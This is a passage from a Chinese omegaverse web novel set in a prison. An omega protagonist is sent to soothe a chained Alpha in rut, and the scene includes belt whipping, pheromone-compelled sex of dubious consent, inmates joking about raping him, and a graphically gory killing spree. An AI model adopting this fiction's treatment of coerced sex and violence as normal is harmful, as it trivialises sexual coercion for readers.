他吹了一口气,甜蜜的玫瑰香气从肌肤上散发出来,攥住领子的手瞬间重起来。 看着刀疤那张凶狠的脸,他笑了下,桃花眼是几乎慑人的熠熠生辉。 “毕竟要活着嘛,总要适应的。还有,你弄痛我了。” 最后一个字拉长,楚青琅表情瞬间收敛起来,变得冷漠又傲慢。 “啪!” 他抬手给了刀疤一巴掌,将人踹开。 刀疤踉跄后退一步,看着青年慢悠悠整理自己的领子,理直气壮的提出要求。 “吃不下去,送我回去。” 虽然还没见到那位,但是不妨碍他狐假虎威。 楚青琅冷着脸在囚犯中注视下离开。 周峥看着他的背影,抬手捂住了心脏。 他没有忽视那个Alpha的动作,让学长处在危险中。 是他的错。 但是学长被控制的时候,好…… * 天空渐渐暗沉,稀疏星子挂在上面,一闪一闪的。 门前传来开锁声。 楚青琅坐在床上扭头看去。 将他重新扔回来的刀疤正一脸漠然的站在门口,“过来,到时间了。” 等他走过去,刀疤又掏出一管喷雾,上上下下对他仔细喷了下。 楚青琅仔细看了一眼。 是除味剂,专门祛除信息素的。 虽然他嗅不到,但是当时在餐厅两个Alpha爆发出来的信息素估计还缠绕在他的身上。 而易感期的Alpha又是格外敏锐。 到时候如果他真的带着这一身味道过去,估计会激发Alpha的凶性。 楚青琅伸手搭住刀疤的手腕,感受到指尖肌肉猛的轻颤。 他说:“谢谢你。你真是我来到这里见到的最好的Alpha。” 和Alpha不同的,柔软细腻手指,携着暖意轻而易举的将刀疤定在原地。 那双漂亮的眼睛仿佛含着星光,深情款款的凝视过来。 错觉。 这个omega就算是看那具尸体也是这样的眼神。 刀疤冷静的想。 但是心脏却反常的越跳越快,他将除味瓶子捏的嘎吱作响,忽地收回了手,转身朝着门外走去。 “跟我走。” 通往未知的路总是很长。 楚青琅把玩着手中的除味剂,踩着身前Alpha的影子朝前走去。 向下,打开一扇门后又走了一会儿,进入了一条金属长廊,尽头是一部电梯。 两边嵌入墙体的灯光盈盈亮着。 Alpha按开电梯停下了脚步,他侧身让楚青琅进去。 “希望你活下来。” 第66章 第 66 章 森冷狂热的独占欲。 电梯厢里宛如镜子一样, 照亮青年漂亮的面容。 他笑着,抬手将除味剂扔给了刀疤。 “等我出去了要换房间,还有食物,我不信你们真的就吃哪种食物, 啊对了, 记得看好我那个学弟, 如果他没了我就让你彻底完蛋。” omega的嗓音如上好的丝绸般柔滑, 就算说威胁的话也仿佛在撒娇,触人心弦。 刀疤定定的瞧着他, 在电梯门彻底关闭前。 微不可查的点了点头。 * 楚青琅看着电梯上映出的身影。 深呼吸了一下。 说不紧张是假的,毕竟直到现在他也没有见到那位。 只是经过剧情加上观察,明白那位地位高,实力应该也很高。毕竟刀疤都能直接和四大家族对抗,还不落下风, 属实超乎他的意料。 但是利用好了,可以为他的任务去除很多的阻碍。 不过那位现在脾气应该很差,尤其是现在正处于Alpha的最特殊的阶段。 易感期到来时, Alpha会产生抑郁烦躁的心情, 还有极端的攻击欲和破坏欲, 信息素压迫会拉到最高,完全排斥同类的出现。 就像现在这样。 电梯门缓缓打开, 最先感受到的是可怖浓烈的信息素。辐射过来的带着极致的压迫感, 充斥在每一寸空气中。 楚青琅头脑有片刻的空白。 他甚至没有在第一时间分辨出来到底是什么味道。 朦胧的,像是冬天的铁锈,又腥又冷,带着刮骨的寒意。 这种程度,完全不符合正常Alpha易感期时能散发出来的浓度。导致他这个连腺体都割了的omega, 都嗅见了。 楚青琅下意识捂住口鼻,后背开始渗出冷汗,身体内部却反常的灼热酥软起来,喉结滚动,莫名的渴望突兀的顺着心肺蔓延全身。 失策,失策。 面前的所有光芒被彻底吞噬,无边暗色幽深,仿佛一旦踏入,就会被血河溺死。 恍惚有野兽的粗喘传到耳边。 呼吸间,那铁锈般的信息素仿佛火焰一般炙烤着他的全身,咽喉干渴起来。 楚青琅瞳孔缩成针尖,颤抖着靠在冰冷的电梯壁上,惊疑不定的看着前方。 【请囚犯尽快进入安抚。】 机械音从头顶传来,带着催促的意味。 【重复三次,三次过后,如囚犯未动,将就地击毙。】 电梯上方的金属滑开,露出武器。 【请囚犯尽快进入安抚。】 冷静,冷静下来。 是他小瞧了这个世界的信息素。 楚青琅以为这次也只会像先前那样,只要见面就可以让他找到漏洞,然后凭借西瑞尔这个明显和那位异常亲密的名字翻身。 但是没有想到这个世界的信息素的威力会这么大,对Omega的影响如此强烈。 只是接受信息素,没有得到Alpha的爱抚,早已被割掉的腺体却还传来了无形的疼痛。 楚青琅抬手按着腺体,本能催促着他朝前走去,找到Alpha。 标记。 他现在需要标记。 【请囚犯尽快进入安抚。】 机械音不再出声,尖锐的滴声后,头顶上的枪缓缓转动了角度,将枪口对准了青年。 就在暗中观看的人要下令处决之时,青年却忽地站直了身子,撑着墙壁一步一步的朝着黑暗中走去。 即将被控制射/出子弹的枪支收回,金属墙壁重新回归平整,电梯门缓缓关闭,截断了这唯一的一点光源。 楚青琅下意识回头望了一眼,又平静的收回视线,此时他已经彻底挤不出一丝力气去思考别的事情。 周围的信息素浓度过高,呼吸间,毫不留情的侵/犯占据着他每一寸皮肉内脏。 带着森冷狂热的独占欲。 楚青琅用力按了一下腺体,幻痛依然牢牢扒附在骨髓上,不尖锐,更为绵长。 但是这点疼痛,却很好的促使他冷静下来。 目之所及全是深邃的黑暗,楚青琅只能摸着墙壁缓步朝前。 墙壁不知用什么做成,冰冷潮湿,将那铁锈般的信息素也染上黏腻的水汽。 耳边压抑的粗喘声越来越大。 直到掌心一空,他彻底失去了方向,迷失在无尽的黑暗中。 Alpha铁锈般的信息素挤压的空气愈发稀薄,覆盖在他无形的腺体上方,引诱勾缠出他的信息素前来抚慰。 楚青琅头皮发紧,桃花眼含着水光,下眼睑泛红,神情努力冷峻下来,他想要开口,却只溢出一声喘。 楚青琅按着咽喉,平复了一下,哑声说:“西瑞尔。” 粗喘声瞬间消失,此时他的周围一片寂静。 楚青琅不知道接下来会遇见什么,他只能茫茫然朝前走。 “我是,被送过来的Omega,你应该知道我过来是干什么的。” 周围的空气中依然弥漫着浓烈的信息素,金属在砖石地面滑行发出呲啦呲啦声响。 楚青琅只能顺着声音走去。 就像走对了路,视野尽头出现些微的光亮,他不由得加快了脚步。 Omega面对Alpha的信息素,确实毫无抵抗之力。 要不是他的腺体已经没了,很有可能在电梯门刚被打开的时候,他就会彻底失去理智。 但是还好不是主角攻来。 坚硬厚实的大门闭合,光芒就是从里面溢出。 门后应该就是那位的房间了。 楚青琅将囚衣脱下,拨开领子,抬手缓缓推门。 沉重坚实的大门并没有上锁,打开的无声又快速。 在迈步进去的瞬间,楚青琅僵在了原地。 原来。 那些信息素被过滤 脑袋仿佛彻底变成了雪花点。 怪不得系统要他帮忙。 念头四散,楚青琅忽的弓起腰,捂着小腹痉挛了一下。 黑发滑落,后颈上斑驳伤疤漏出,这里的信息素浓度太高了,几乎化为轻烟将他全然包裹。 唾液咽下,混着Alpha的信息素,落进肺腑生出冰刺,却反出灼热的痛感,锤子一般击软了他的骨节。 楚青琅狼狈倒伏在地上,浑身滚烫发红,小腹深处传来一波波的异样。 如果……身份……没换过,主角攻很有可能彻底成为……欲/望的奴隶。 还怎么掌控墨菲斯特。 涣散瞳孔颤动,渐渐恢复了焦距,那双水波粼粼的眼睛深处,只有着极致的冷酷。 楚青琅毫不在意的驱使着自己的四肢,重新爬起,迈步走了进去。 原来这点光亮不过是跳动的电子烛火,只因为外面过于幽暗才显出明亮来。 四周湿漉漉的,就像是楚青琅先前抚摸过的墙壁一样。 被泼上去的是抑制剂? 这么大剂量,要死人啊。 楚青琅调动脑袋,尽全力的思考,将自己从渴意沼泽中拔出。 嵌入墙壁的粗黑冷硬的锁链,交织成网。 延伸绑缚到一个看不清面目的身形高大的Alpha身上。铁锈信息素源源不断的从他的身上辐射而来。 不,与其说是铁锈味,更像是血腥气。夹杂着他散发出来的玫瑰花香。 哐当——哐当—— 楚青琅艰难穿过一道道沉重锁链,站到Alpha的面前。 看清的瞬间,他讶异的挑了下眉。 漆黑的颈圈,手环,脚环将这个处于易感期的Alpha紧紧固定在墙上,那些锁链扣在他的骨节上,让他无法动弹。 Alpha垂着头,黑发打着卷遮住大半张脸,挺直的鼻梁下是锋锐苍白的下颌,暗红的唇削薄,双臂伸开的姿势使得胸肌将黑色紧身短袖撑的饱满。 滚滚汗珠顺着肩颈滑落,Alpha喘/息粗/重。 看起来并不暴戾,为什么那些人这么害怕他?只是因为他实力很强吗? 楚青琅上前一步,甜蜜的玫瑰香气早已逸散出去,和Alpha的信息素纠缠在一起,随后被一口一口的吞噬了个干净。 有点脚软。 这是Omega面对Alpha的本能反应。 楚青琅这样安慰自己,抬手想要将alpha的发拨开。 在即将接近到的瞬间,猩红双眸猝然睁开,满是森寒杀意,暗红的唇张合。 “滚!” 烛火将他惨白的面颊染成扭曲的昏黄。 属于alpha的信息素如风暴咆哮着,瞬间朝楚青琅袭来,带着极致的厌恶和敌意。 这种程度,就算是alpha站在这里,也坚持不了多久。 刀疤真的是送他来安抚,而不是让他来送人头的吗? 楚青琅只觉得仿佛刀尖直指眉心,面对死亡的悚然感让他下意识顿了下手。 然后。 猛的扇了过去。 啪的一声,力道很大,alpha却只是微微偏了偏头。 嘎吱—— 金属扭曲的声音,alpha朝前挣了一下。 俊美的面容紧绷,红眸显出凶恶的狰狞来,肌肉隆起,将金属手环都拉的变形。 却只是徒劳,不知道是什么金属做成的束缚装置将他死死的控制在原地。 楚青琅看了一眼那装置,心中庆幸。 虽然不知道是谁按的,但是还好,给他争取了点时间。 alpha透过发丝看着面前弱小的omega——他单薄瘦弱,漂亮的带着怒意的脸上脖颈上满是靡艳的红,不用想,被衣服遮住的身躯也是相同。 发丝水草一样湿漉漉的粘在脸侧,眼尾微垂,掀起眼皮,含着水雾的双眼牢牢的盯住他,里面没有丝毫的害怕。 打过来的手掌轻微颤抖着,骨骼纤长皮肉贴合,就像是所有alpha梦中的omega那样。 omega应该要支撑不住了,毕竟在他这样高浓度的信息素的浸染下,该被诱发出发/情期了。 他胸膛快速起伏,呼出的气流带着陌生的,甜蜜的玫瑰香气,悠悠的在鼻尖浮动。 不像之前的那些,让他作呕,只想要用鲜血抚平躁动的心绪。 明明可以躲开,但是为什么,没有躲开? alpha对自己迟钝的反应感到疑惑。 漆黑发丝下,早已混沌的红眸闪着光,神情怔然的看着omega的手,唇张合,却再也没吐露出丝毫话语。 仿佛被踹了一脚的小狗一般,只敢呲牙哀叫。 楚青琅盯着那双眼,忽又上前一步,捧着他的脸。 “痛吗?” alpha将视线上移,落到了他的唇上。 视线带着空茫的渴望。 掌心下的肌肤冰冷又粘腻,楚青琅原本担忧惊惧的心情一扫而空。 没有谁比他对这双眼更为熟悉。 就算是主神空间出现了问题,他还是遵守承诺跟了上来。 楚青琅顺势贴近,“张嘴。” alpha密长眼睫颤抖着,仿佛意识到什么,防御的姿态松懈下来,坚硬的肌肉变得柔韧。 他缓缓张开了嘴。 楚青琅努力忽略身体内部的不适,虽然现在他alpha是一直跟着他的人,但是他并不知道alpha有没有记忆。 如果有记忆他还不太担心自己的清白,如果没有记忆。 依照这个世界alpha对omega的相处模式该死的身体,它竟然还自己做好的准备! 楚青琅抵着alpha的额头,急促的呼吸着。 他能够感觉到此时那些弥散的信息素都收拢了过来,犹如实质的在他的后颈徘徊,想要将他彻底标记。 楚青琅用力按了一下alpha的尖锐的犬齿,这颗牙齿是空腔的,像蛇一样的构造,叼住猎物的时候,注射信息素,而只要被 痛楚传来,白皙的指尖上带着水光,鲜血融进,迅速晕染成一丝丝的粉。 他晃了晃脑袋,拉回了跑偏的思绪。 尾指碰到脖颈,动脉如敲鼓一般跳动着,alpha早已做好了准备。 但是不行。 如果没有记忆的话,他必须要保证自己的清白,被/上了就不好玩了。 楚青琅用力眨了下眼,他此时才发现自己早已控制不住的在alpha的脸上蹭了起来。 没关系,他最知道怎么对付他了。无论是祁温,还是现在的alpha。 楚青琅缓缓起身,扯下腰间特意带过来的皮带拿在手上。 冰冷的金属扣子让青年感受到了些微的清醒,楚青琅抓住他的发,向下压着。 丝毫没有管项圈已经压迫了喉结,alpah瞬间窒息起来。 他用皮带拍了下男人的脸,对着那双颜色浓郁的红眸语气轻柔道:“你叫什么名字?” 阿舍尔仰头,体内的燥热和氧气的缺乏使得他耳边传来尖锐的长鸣。 他完全没有听清楚omega的问题。 楚青琅又说:“西瑞尔?” 阿舍尔眼皮痉挛了一下,他面上爬上冷意,偏偏omega仿佛故意的一般,娇媚的眼眨动间,手上的拍打动作越发重起来。 “不说话,真不乖。” 楚青琅缓缓看着他,缓缓松开手,将皮带倒拿。 金属扣子在烛光的照耀下融出一汪的黄。 alpha终于开口,盯着他的视线炽热,声音嘶哑低沉,“阿舍尔。” “晚了,你该受到惩罚。” 楚青琅含情的眉眼拢上一层寒霜,拒人于千里之外,但是衣扣敞开,露出细长锁骨和小半白皙胸膛,漆黑的皮带被他握在手中,抬起。 “啪!” 鞭子是最省力,且是最能够让人发狂的道具,但是这里并没有鞭子,于是楚青琅只能退而求其次,用皮带也行。 金属皮带破开风声,沉重的击打在alpha的胸膛,留下一道鲜红的印记。 alpha肌肉条件反射的收紧,但是很快,下一个问题就被抛了过来。 “为什么将别的omega扔出去?” 阿舍尔咬紧牙,这种疼痛他不是无法忍受,但是让他感到难挨的是空气中又一次浓郁的信息素,只挑起他的情/欲,却不给他加以抚/慰,让他空落落的停在那里,甚至连那侮辱性质的鞭笞都让他产生期待来。 他心中的戾气翻滚,瞧过去的视线宛如两柄刀子,要将omgea剥皮拆骨。 楚青琅缓缓吐出一口气,他的身体已经溃不成军,现在的举动全靠理智催动,两人说不上谁比谁好。 但是alpha不回答的还敢瞪他的模样,很好的将他心中的施/虐欲望勾了出来。 他缓缓勾起唇,密长眼睫包裹下的目光燃着恶趣味。 这个世界的你叫阿舍尔啊。 好可惜。 你应该得到我的些许耐心的。 但是没办法,是你把我娇惯成这副模样。 所以苦头的话,你还是吃一些吧。 楚青琅笑的灿烂,动作却干脆利索。 他扬手,皮带又一次的甩下,这次他特意带了一些技巧。 金属扣子划过胸肌,又陡然垂落下去。 阿舍尔的眼眸骤缩,在这一瞬间,甜蜜的玫瑰信息素向他的后颈钻去,极致的痛苦在顷刻间传来。 他浑身肌肉紧绷,混沌的思绪死死拽住那一丝的清明。 不可思议的望着面前冷漠又温柔的omega。 这个omega竟然想要反向标记他! 怎么可能做得到! 但是一波又一波袭来的疼痛却还是让他放大了瞳孔,仿佛将他的神经全部揪了出来,随意的蹂躏。 “嘎吱——” 在他强烈的挣扎下,金属手环被硬生生的撕裂,alpha的手解放出来,但是脚环锁链的限制是双层,他将项圈拽下,捂着后颈跪倒在地。 玫瑰信息素毫不客气的全部挤进那涨红的腺体。 柔软缱绻的将那攻击性颇强的alpha信息素揉散。 alpha的信息素并未意识到发生什么,依然只是贪婪的缠绕上去,试图将舒适反馈回主人,却只有尖锐灼热的疼痛被传递而来。 阿舍尔几乎要被他的信息素给逼疯了,每当他即将将那信息素驱赶出去的时候,鞭子就会落下,打断他的进程。 楚青琅冷眼看着他抠弄着后颈的手。 omega当然无法永久标记alpha,但是这不代表着他无法暂时标记。 在alpha易感期的时候,费洛蒙最为活跃也最容易欺骗诱导。 等到面前的人彻底没有了反抗的举动之后,楚青琅谨慎发问:“为什么将别的omega扔出去?” 跪在地上的alpha浑身是汗,紧身短袖早已被金属皮带撕烂,露出里面苍白的带着血痕的肌肤。 他紧紧按着腺体,声音压抑,“恶心。” 楚青琅歪了下头。 alpha没有再次开口,他缓缓抬起了头。 似血肉炼成的猩红双眸满是暴虐燃烧后的灰烬,雾气蒙蒙,却让楚青琅从心中生出警惕。 他的耳边似乎听见一声凄厉尖叫。 眼前一花,重新爆发出来的alpha信息素将他勉强维持的理智彻底击溃,四肢被紧紧束缚。 alpha彻底变成了一只猛兽。 第67章 第 67 章 阿舍尔。 “滚一边去!” 光着上身的Alpha粗暴的将站在门前的人踹开。 周峥踉跄一步重新站稳, 却并没有在意Alpha的暴力。 只是心神恍惚的看着门外。 关押囚犯的牢房逼仄,明明是六个人一个房间,但是上下床铺却经常性的睡不满。 因为往往新来的那个人,会被赶到厕所睡觉。 而他所空出的床铺便自然而然成了所有人的公共财产。 除非新来的人不再埋怨挣扎, 变得顺服。 但是这种不成形的惯例, 也总会碰到一两个让人无法处置的例外。 就像是现在门前站着的人。 相比起Alpha一贯肌肉发达的模样, 他甚至称得上清俊瘦弱。 神经好像也有点问题。 不管他们怎么安排, 他都不声不响的接受,甚至对于一些羞辱性的殴打, 也都是默默的忍受,让他们打也无趣,骂也无趣。 要不是今天中午他的突然出手,他们甚至还以为这个人是个傻子。 但是一个蠢笨的傻子,又怎么可能会被送到这里来? 其中一个叼着烟的Alpha打量了一圈, 轻巧的开启了话头。 “今天是那个omega被送进去的日子吧?不知道明天还能不能看见全尸?” “神经,刀疤那伙人就是神经病,不过一个易感期的Alpha, 天天送omega, 妈的多浪费, 我这辈子都没见过那么多的omega!他对监狱长都没有这么忠诚吧?跟条狗一样!” “嘘,说什么呢?对了, 你来的不久不知道, 那个Alpha之前可是之前杀穿了监狱,在外面造成了一场巨大的伤亡,据说出动了军队才按住人。” “太夸张了吧?照这样说监狱长就是个摆设?” “别不信,有传言说,这座监狱就是为了让那个Alpha发泄, 免得他发疯而建的。” 声音落下,空间瞬间寂静下来,看不清的黑暗中仿佛随时会窜出一个危险人物,所有的Alpha都打了个冷颤,对视了一眼后,他们默契的转移了话题。 “这次的omega还真是好看,好像是那个傻子的学长?” “真是可惜,希望那位别杀了他。” “留下干嘛?” “干!” 紧接着,就是哄然而起的大笑声。 耳边的讨论不断的钻进耳中,周峥在这一瞬间感受到了莫大的羞愧,他用头顶着门,一下一下的撞着。 都是他的错,才让学长沦落到那种地步。 同性相斥,学长是Alpha,真的面对那位的话,信息素一旦暴露,绝对会死的。 周峥瞳孔放大,恐惧和愧疚溢满他的心脏,他感觉周围仿佛蒙上了一层薄膜,氧气极快的流逝。 他喘不过气来。 身后的讨论声不断,随意的畅想着,意/淫着他的学长。 “早说那个omega是他的学长啊,给我们牵牵线搭搭桥,何苦会被送进去。” “妈的,要不是刀疤那家伙看的太紧等他被扔出来,就算是尸体也行。” “趁热——” 话还未说完的Alpha眼前一个黑影闪过,脸侧便传来剧痛。 他下意识的反击,却感觉自己的拳头仿佛撞到了钢铁上。 咔嚓一声,手腕被猛地掰断。 Alpha顺着力道跪倒在地,口中惨叫不断。 周围的人猛地站起身,看着垂着头,面无表情的站在那里的人,污言秽语伴随着攻击瞬间喷洒而出。 “草,你他妈的疯了吧?” “你不上还不允许别人上?” “还敢动手?!老子要把你的j/b砍下来塞进嘴里我***!!” 攻击转瞬即至,周峥被拽着衣服踹了一脚,面上也被另一个Alpha揍了一拳。 但是这种疼痛却很好的刺破了他的茫然,那些堆积起来的情绪几乎将他整个人涨破,此时终于找到了可以发泄的方式。 疯狂和戾气凝上他的眉眼,额头上有鲜血爬下,蛛网一般将那清俊的面容扭曲。 杀了他们,杀光这些对学长不尊敬的人! 周峥摔到在地,一只脚携带着凶狠的力道踢来,他猛地起身,不要命似的重新冲了上去。 骨节裸漏出白骨,却被他当成武器砸下。 为什么他是omega? 他要不是omega,是不是就可以救下学长了? 砰砰砰!!! “啊!疯子!!” 拳脚相撞和惨叫声瞬间响彻夜空。 钢铁做成的床架被撕扯下来,尖锐的断裂面插进皮肉,手腕用力,一个人的腰腹如按上了拉链一般,只一下,内脏便吧唧吧唧的掉落在地。 鲜血喷洒而出。 攻击上来的Alpha几乎肝胆俱裂,瞬间转身不断的拍打着门。 “救命啊救命!!!” “狱警!!狱警!!杀人了!!!” 莫菲斯特监狱所有的监牢挨着,犹如蜂巢一般,这些哀求和血腥交响乐一般奏起,所有的犯人听的格外鲜明和沉醉。 更遑论,这里面大部分的犯人都是Alpha,体内流淌的暴戾因子在嗅见血腥气的瞬间被点燃。 “杀死他们!!” “嗷嗷嗷!!杀了他们!!!” 他们狂乱的晃动着房门,大吼着要更激烈一点,再激烈一点。 此时被不断呼唤的狱警明明听到了哀嚎,却无人在乎一场小小的厮杀。 所有的人枪械俱全的伫立在某处房门前,压抑着Alpha对Alpha的本能的厌恶,防爆面具下的牙齿咬的嘎吱作响。 但是没有命令,他们无法动手,且就算是动手了,死的也绝对是他们。 那里是Alpha的地狱,只有那个变态才能够在里面生存下去。 亲手关闭了唯一逃生通道的刀疤双手抱胸,安静的坐在监视器前。 这种献祭并不是第一次,只是不是每一个omega都有着向前的勇气。 面对那种等级的信息素压迫,omega唯一能做的,只有颤抖着哀求。 ——所以,放弃吧。 昏暗泛红的画面中,只能看见一个人犹疑的背影。 那是一个格外漂亮的青年omega,就算是如此昏暗的环境也恍如珍珠一般显眼。 他摸着墙,一步一步的朝着未知走去,额上鼻尖满是细密的汗珠。 身躯也在极轻微的发颤。 仿佛在承受着莫大的压力。 但是每当刀疤以为青年即将停下脚步时,他都挺直脊背,重新向前走着。 ——为什么不放弃?就呆在那里,第二天会有人过去救你。 青年微微侧脸,仿佛听见了什么,那纤长的眼睫划破空气,盈润眼眸深处的冷酷仿佛刀尖一般刺进刀疤的眼中。 他朝着正确的方向继续前进。 步伐很快,仿佛黑暗给了他压力,看见了一抹光芒就觉得自己找到了出口。 青年停在门前,缓缓伸出了手。 刀疤指尖抽搐了一下,面孔却依然是冷硬。 他缓缓按下了开门的按钮。 在门开启的瞬间,浓烈的信息素失去了抑制剂隔绝,顷刻间充斥了所有的角落。 在信息素的压迫下,最为先进的监控器甚至没坚持到一秒钟,便一个接着一个的黑了屏。 在最后,刀疤只看见omega狼狈的趴伏在地面上。 一张俊美漂亮的面孔上,灼烧般的红从脖颈蔓延脸颊,神情恍惚。 青年被Alpha的信息素诱导出了发/情期,而发情期的omega不经过抚慰的话…… 随即,所有的画面便被黑暗彻底吞噬。 刀疤闭上了眼。 他死死的按着自己的手腕,那柔软的触感在皮肤上挥之不去。 依照那位对omega的厌恶程度,那个适应性颇强的青年死定了。 刀疤安静的坐着,不知多久。 掌端在裤中震动。 他掀起眼皮,掏出按下通话。 “代号监狱长,案卷DG-001,危险级别SSS。” “021号omega,进度为340米,隔离门已打开。” “确认死亡。” “阿舍尔·克莱斯特仍未被安抚。” “以上。” * 恶心,很恶心。 那种黏腻的信息素,属于omega的信息素,一向只能勾出阿舍尔心中的恶意。 更为令人厌恶的是,此时这个轻易被omega诱惑到的他。 就像是一条发/情的野狗,再无克莱斯特家族半分的荣耀。 仿佛灵魂被分成了两半,阿舍尔冷眼看着自己沉迷的丑陋的动作。 却还是被那omega给予的反应和玫瑰一般艳丽的面孔晃动了心神。 猩红双眸死死盯着面带怔然的青年,杀意和渴望撕扯着他的内心。 但是随即,轻笑声仿佛从水面跃出,来到他的耳边。 “觉得恶心,为什么对我……” 某些压抑已久的想法如洪水一般袭来,大坝决堤,所有的坚守瞬间四分五裂。 楚青琅思绪漂浮了一瞬,话语因为野兽粗暴的举动而咽回。 金属皮带反扣住他的手腕,肩膀挨着地面,蓬松的发一缕一缕的耷拉下来。 玉瓷般的面容飞上靡丽的红。 楚青琅有点想吐,浑身骨骼仿佛浸在硫酸中,溶解出来的泡泡一波一波的来,冲的皮肉发痒。 理智被撕扯着,他急促的呼吸着氧气,想要神思清明一些。 但是那过于浓重的Alpha的信息素,却总是将他所有的清醒霸道的撞碎。 Alpha呼吸滚烫,偏偏皮肤又冷,活像个即将喷发的火山。 浅金色的电子烛火穿透眼皮,印进视网膜,留下蝴蝶磷粉似的光斑。 楚青琅神思空茫了一瞬,随后勾唇笑起来。 他用双手握着身后的人,感受着指旁肌肉的僵直,还有因为疼痛而不自觉的轻颤。 他叫他。 嗓音灌了蜜一般,柔和粘稠。 “阿舍尔。” 所有的动作停滞片刻。 一直手臂忽地越过肩颈,将他拉起,撞进冰冷宽阔的怀抱中。 楚青琅偏头,唇擦过Alpha的脸侧,湿漉漉的甜蜜香气狡猾的顺着所有毛孔钻进,浸润骨髓。 绑缚手腕的皮带松开,楚青琅转过身,将Alpha按在墙上,指尖顺着汗湿的发深入头皮抚摸。 感受到omega配合的态度,Alpha顺从的,低下头颅。 先是温柔服从,引得猛兽放松警惕。 最后猛地拽下,将人彻底送进口中。 楚青琅满意的眯了眯眼。 却彻底忘了先前的狼狈。 黑发晃动,眩晕再次传来,楚青琅犹处云间。 光洁的后颈上有一小块微鼓,那是腺体所在的地方,但是此时那上面满是浅淡的疤痕。 “阿舍尔——” 猛兽喉咙间发出闷哼,那双血色眼眸带着舌缠来,将他未尽的话全部吞噬。 Alpha的信息素顺着咽喉流入全身,隐形的狂热的占/有让楚青琅绷紧了身躯。 omega对于Alpha天然的臣服和恐惧在脑海中叫嚣。 要他讨好。 仿佛喝下了一瓶子的烈酒。 楚青琅重新变得晕乎乎的。 身体发/软,电子烛火映入眼眸,恍惚间,那清亮的黑眸点染上了铁锈般的红。 脖颈后。 尖锐犬齿叼着凹凸不平的颈肉,刺痛传来,没有遇见丝毫的抵抗。 只是他的omega亲密的将头颅倚靠在他的肩膀,裹着笑的嗓音甜蜜。 “阿舍尔,我害怕。” 是谁喝了玫瑰做成的烈酒? 猛兽重新被套上项圈,收回了森冷的齿。 猩红的双眸涌出熟悉的情感,偎贴着楚青琅的灵魂。 omega的一只手被金属手环扣着,半躺在那里,黑发散乱,带着冷意的神情忽而温柔。 “呃哈……好乖……” 青年太过游刃有余,猛兽收拢爪子,心生不满起来。 他应该向他展露出,更多更多。 猛兽掐着青年的下颌,欣赏着omega盛放到靡艳的面容。 因与本能相悖的交/融引来极致的痛楚。 他的动作却没有丝毫停歇。 * 牢房内只有一小块的窗户,竖列的金属将涌入的阳光分割,一片一片的洒进房中。 周峥坐在残肢断臂中,被鲜血湿濡的发丝经过时间变得干硬,刺在眼球中,带来火辣辣的痛。 “双手抱头!!出来!!!” 门被打开,狱警压抑着火气的声音传来。 黑漆漆的眸子转动,虹膜满是血丝。 周峥安静的起身,面颊青紫,一只手臂扭曲,两只手的皮肉大部分脱落,露出森森骨骼。 狱警卸下枪支,顶着他的后背,推着他朝前走去。 莫菲斯特监狱仿佛在一瞬间又恢复了正常,那个omega的存在并没有人在意。 他们盯着周峥,喊叫着好样的!干得漂亮!! 然后被狱警一枪托砸倒。 周峥不知道自己要朝那里去,他只是木然的经过一个个牢房,随即看见了那个面上带着狰狞刀疤的男人。 他穿着制服,叼着烟,依然好好的站在那里。 就像是在船上威胁他们时一样。 强大,冷漠。 周峥停下脚步。 对了,还有这个人。 要不是他,学长怎么会被送进去。 他要杀死自己的话,至少要先把他带下去。 周峥根本没有管身后的推搡和身上的伤痕疲惫,在刀疤察觉视线扭头时,他猛地扑了上去。 隐匿在掌心中的特质刀子毫不留情的划破刀疤抵挡的手臂。 随着鲜血流淌而下,属于Alpha的信息素瞬间朝周峥压迫而去。 但是他只是稍稍停滞了一瞬,便再次攻了上去。 经过一个晚上的战斗,他早已疲惫不堪,攻击也没有丝毫章法,如果这种模样被军校中的老师看见,会恼怒的踹他回去休息。 但是现在,只有一个被莫名的攻击激出心中烦躁的Alpha。 刀疤吐出烟蒂,冷冷的看着面前的人,只是脚步一错,就闪过了劈砍下来的手臂。 好烦。 好想杀人。 趁着周峥还未收力的时候,刀疤手用力,青筋蛇一样在肌肉上隆起,眨眼间便将周峥唯一一只完好的手臂给扭断。 剧痛传来,上半身的战力被彻底废掉。 但是没关系,这种疼痛经过一个晚上,他早已习惯。 周峥死死的盯着Alpha,抬脚就踹。 刀疤只冷呵了一声,按着他的肩膀抬脚就将小腿腓骨踩断。 清脆的骨骼断裂声响起,周峥猛地趴在了地上,他双眸充血。 “我要杀了你,我一定会杀了你!” 刀疤站在他的身侧,重新点了一支烟。 在他的脚下,是周峥的另一条腿。 咔哒—— 烟燃起,刀疤脚下用力,枯枝断裂般的声音随之传来。 周峥神情骤然恍惚起来,他面色惨白。 头发被揪住,漆黑的眼眸映进一张带着狰狞疤痕的脸。 刀疤不屑嗤笑。 “要不是那个omega说你死定了。” 话语轻飘飘的,从耳边滑过。 周峥木然的面孔忽地流下一道泪来。 头顶的力道消失,冷漠的声音远去。 “带走。” * 【主角生命力降低,世界线偏移10%—20%—30%——】 刚睁眼就听见这个机械音的楚青琅有些崩溃。 周峥又怎么了? 他就不能安稳一点吗? 他完成个任务怎么多灾多难的? 楚青琅抬手捂了捂脸。 算了,还有主角光环庇佑着,天道是不会让主角死的,而且他还刀疤看着了,估计是周峥和旁人打架了…… 想清楚后,他艰难的爬起来,身上有东西滑落,楚青琅低头看去,发现是一个黑色的大衣。 他扔下,随手将缠绕在身上的锁链解开。 双眼干涩,身体内部传来餍足和不满,从脊骨到脚尖,都带着被人啃噬过的紧绷感。 不用照镜子,他都明白自己现在是多么狼狈。 墙壁上只有断裂的束缚装置,直到此时他才发现周围除了错落的烛火外,空荡荡的。 阿舍尔已经消失不见,想来已经从易感期中冷静了下来。相比起上个世界,这个世界的他,还蛮害羞生涩。 他笑了下,平整的面颊下颌带着牙印吻痕,恍若花瓣疤痕。 Alpha的易感期持续时间三天左右。 楚青琅随手将被撕烂的衬衣脱掉,顶着那一身的痕迹朝着一旁走去。 虽然生理交/融在一定程度上缓解了阿舍尔的易感期,但是在Alpha没有真的标记omega的情况下,阿舍尔会一直承受易感期带来的混乱。 大概一周,直到易感期过去。 而这段时间,他都需要过来这里。 唔,下次见面的话,还是让刀疤在这里铺上毯子比较好。 硌的很。 楚青琅来到墙壁旁,伸手敲了敲。 这个地方既然是是为了Alpha解决易感期所建造的,那么楚青琅相信,像什么浴室什么的,一定是有的。 面前浮现出光屏,青年密密眼睫垂下,遮住了水光粼粼的眼眸。 随意点了几下,传来一阵机括转动声音,面前的墙壁无声分开,显露出一间宽敞奢华的房间。 